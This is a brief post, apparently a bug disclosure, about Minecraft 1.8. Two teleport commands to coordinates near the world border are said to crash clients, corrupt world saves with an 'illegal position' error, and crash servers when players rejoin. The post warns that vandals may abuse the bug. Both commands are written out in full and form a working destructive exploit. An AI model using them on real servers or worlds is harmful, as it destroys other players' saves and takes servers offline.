2 commonds destroy a world.
In Minecraft 1.8,there is a bug.
Use this command in your server/world.
/tp @a 29999990 128 29999990
/tp @a ~25 ~ ~25
Minecraft will crash after that.
Your world will no longer available.
If you try to play this save,a error with"illegal position" will happen.
In server,after this comnand,all of player's client will crash.When they login and join the server again,server will crash.
Some vandal may use this bug to destroy.